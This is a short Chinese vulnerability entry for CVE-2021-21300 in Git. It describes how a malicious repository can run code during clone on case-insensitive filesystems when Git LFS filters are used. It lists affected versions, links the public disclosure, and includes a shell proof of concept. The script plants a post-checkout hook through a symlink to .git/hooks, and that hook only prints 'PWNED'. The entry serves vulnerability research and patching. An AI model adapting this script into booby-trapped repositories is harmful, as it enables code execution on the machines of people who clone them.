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52 lines
912 B
Markdown
52 lines
912 B
Markdown
# Git for Visual Studio远程执行代码漏洞 CVE-2021-21300
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## 漏洞描述
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此漏洞影响具有不区分大小写的文件系统的平台，当某些过滤器被使用时（例如Git LFS）。Git可能会被欺骗运行克隆期间的远程代码。
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## 漏洞影响
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```
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v2.17.6
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v2.18.5
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v2.19.6
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v2.20.5
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v2.21.4
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v2.22.5
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v2.23.4
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v2.24.4
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v2.25.5
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v2.26.3
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v2.27.1
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v2.28.1
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v2.29.3
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v2.30.2
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```
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## 漏洞复现
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参考文章: https://www.openwall.com/lists/oss-security/2021/03/09/3
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## 漏洞POC
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```bash
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#!/bin/sh
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git init delayed-checkout &&
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(
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cd delayed-checkout &&
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echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \
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>.gitattributes &&
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mkdir A &&
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printf '#!/bin/sh\n\necho PWNED >&2\n' >A/post-checkout &&
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chmod +x A/post-checkout &&
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>A/a &&
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>A/b &&
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git add -A &&
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rm -rf A &&
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ln -s .git/hooks a &&
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git add a &&
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git commit -m initial
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) &&
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git clone delayed-checkout cloned
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``` |